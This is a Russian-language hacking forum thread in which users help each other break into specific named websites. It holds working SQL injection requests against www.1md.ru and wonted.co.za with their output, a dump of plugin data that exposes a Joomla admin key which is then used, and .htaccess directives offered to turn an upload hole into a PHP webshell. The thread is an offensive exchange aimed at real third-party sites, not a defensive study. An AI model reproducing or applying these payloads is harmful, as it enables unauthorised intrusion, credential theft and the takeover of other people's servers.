Вопросы по уязвимостям

[beastie]

m0Hze ничего не помогло.
Однако в шаблоне присутствовал хтмл код + вставки {~php code~}, вставив <script language="php">phpinfo();</script> на ура отработало. Так что спасибо, вопрос решен.

[Flakt]

Сообщение от DrakonHaSh

возможно дело в "кривом" способе редактирования запроса (расширение к браузеру или еще какая нибудь кривоватая хрень).

burp free 1.5 , Repeater

GET /catalog/list/250'and(0)union(select(id),idfirm,iduser,bancat,bannersarea,'php',startdate,stopdate,active,graph_name,graph_opis,graph_alt,graph_img,flash_name,flash_opis,flash_razm,flash_file,php_name,php_opis,'phpinfo();',js_name,js_opis,js_code,url,(graph_down)from(fho_banners)where(id)=19811)# HTTP/1.1
Host: www.1md.ru


=>
PHP Version 5.3.2
FreeBSD aut.su 8.0-STABLE-201004 FreeBSD 8.0-STABLE-201004 #0: Mon Apr  5 15:59:06 UTC 2010     root@mason.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64

получилось вывести phpinfo() при помощи прокси-сервера Fiddler Web Debugger (v2.4.2.4)
твою прогу еще не изучил, с настройками разбираюсь и обязательно ее потом оценим

[Flakt]

Раскручиваю скуль в Joomla. Проблема, не найду админку, редирект на главную страницу
Прочитал этот пост https://rdot.org/forum/showpost.php?p=29255&postcount=29 и ничего не понял, где же искать админку. вывел все колонки и путь к ней там не прописан

_http://www.wonted.co.za/index.php?option=com_events&view=event&Itemid=18&i d=-64'+union+select+1,2,3,4,5,6,(select(@x)from(selec t(@x:=0x00),(select(0)from(jos_plugins)where(0x00) in(@x:=concat(@x,0x3c62723e,id,0x3a,name,0x3a,elem ent,0x3a,folder,0x3a,access,0x3a,ordering,0x3a,pub lished,0x3a,iscore,0x3a,client_id,0x3a,checked_out ,0x3a,checked_out_time,0x3a,params))))x),8,9,10,11 ,12,13,14+from+jos_plugins%23

[Untitled]

Лол, автор jSecure до сих пор хранит ключ в чистом виде в БД.

54:System - jSecure Authentication:jsecure:system:0:0:1:0:0:0:0000-00-00 00:00:00:key=wontedsecureadmin options=0 custom_path=plugins/system/404.html

/administrator/?key

[Flakt]

Сообщение от Untitled

Лол, автор jSecure до сих пор хранит ключ в чистом виде в БД.

_http://www.wonted.co.za/administrator/wontedsecureadmin

нет там админки

Not Found

The requested URL /administrator/wontedsecureadmin was not found on this server.

[Pashkela]

Знак вопроса забыл поставить

[Flakt]

Сообщение от Pashkela

Знак вопроса забыл поставить

Точно, спасибо за помощь Лоханулся немного, с кем не бывает

[nomad]

Есть: инъекция; фтп доступ к каталогу, не видимому через веб; доступ в админку, без возможности заливки шелла, но с возможностью правки html через wysiwyg редактор.
Нет: вывода ошибок (не известен абсолютный путь к сайту).
Как можно получить полноценный вебшелл?

[nomad]

Еще один вопрос: есть возможность заливки произвольного файла в папку. Заливаю php - при обращении имею Forbidden. При заливке php3, phtml и т.п. - файл предлагается к закачке. Заливаю .htaccess (пустой; с директивами addtype application/x-httpd-php .kkk или addhandler application/x-httpd-php .kkk), но скрипт с расширением kkk отдается как текстовый. В остальном ничего не меняется.
htaccess заливается нормально, есть корявая читалка локальных файлов. В корневом htaccess нет директив для запрета php и/или каких-то расширений.
Разные регистры пробовал (shell.php - Forbidden, shell.pHp - скачивается).
Пробовал разные варианты с директивами htaccess, типа
AddHandler application/x-httpd-php5
AddHandler x-httpd-php
SetHandler application/x-httpd-php5
Поведение скриптов не меняется.

[nikp]

Сообщение от nomad

Заливаю .htaccess (пустой; с директивами addtype application/x-httpd-php .kkk или addhandler application/x-httpd-php .kkk), но скрипт с расширением kkk отдается как текстовый. В остальном ничего не меняется.
htaccess заливается нормально, есть корявая читалка локальных файлов. В корневом htaccess нет директив для запрета php и/или каких-то расширений.
Разные регистры пробовал (shell.php - Forbidden, shell.pHp - скачивается).
Пробовал разные варианты с директивами htaccess, типа
AddHandler application/x-httpd-php5
AddHandler x-httpd-php
SetHandler application/x-httpd-php5
Поведение скриптов не меняется.

Попрообуй

php_flag engine on
addhandler application/x-httpd-php html phtml jpg gif kkk